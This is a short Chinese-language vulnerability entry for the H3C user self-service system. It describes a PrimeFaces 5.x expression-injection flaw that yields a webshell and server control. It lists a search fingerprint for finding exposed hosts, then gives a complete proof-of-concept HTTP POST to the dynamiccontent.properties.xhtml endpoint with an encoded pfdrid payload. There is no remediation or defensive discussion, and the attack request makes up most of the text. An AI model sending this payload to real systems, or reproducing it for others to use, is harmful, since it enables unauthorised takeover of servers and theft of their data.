漏洞描述
H3C用户自助服务系统存在primefaces5.x表达式注入漏洞,攻击者可以获取 webshell,控制服务器权限,读取敏感信息等。
漏洞环境
fid=”tPmVs5PL6e9m5Xt0J4V2+A==”
漏洞复现
POC
POST /mselfservice/javax.faces.resource/dynamiccontent.properties.xhtml HTTP/1.1
Content-Type: application/x-www-form-urlencoded
User-Agent: User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; 360SE)
Host:
pfdrt=sc&ln=primefaces&pfdrid=uMKljPgnOTVxmOB%2BH6%2FQEPW9ghJMGL3PRdkfmbiiPkUDzOAoSQnmBt4dYyjvjGhVqupdmBV%2FKAe9gtw54DSQCl72JjEAsHTRvxAuJC%2B%2FIFzB8dhqyGafOLqDOqc4QwUqLOJ5KuwGRarsPnIcJJwQQ7fEGzDwgaD0Njf%2FcNrT5NsETV8ToCfDLgkzjKVoz1ghGlbYnrjgqWarDvBnuv%2BEo5hxA5sgRQcWsFs1aN0zI9h8ecWvxGVmreIAuWduuetMakDq7ccNwStDSn2W6c%2BGvDYH7pKUiyBaGv9gshhhVGunrKvtJmJ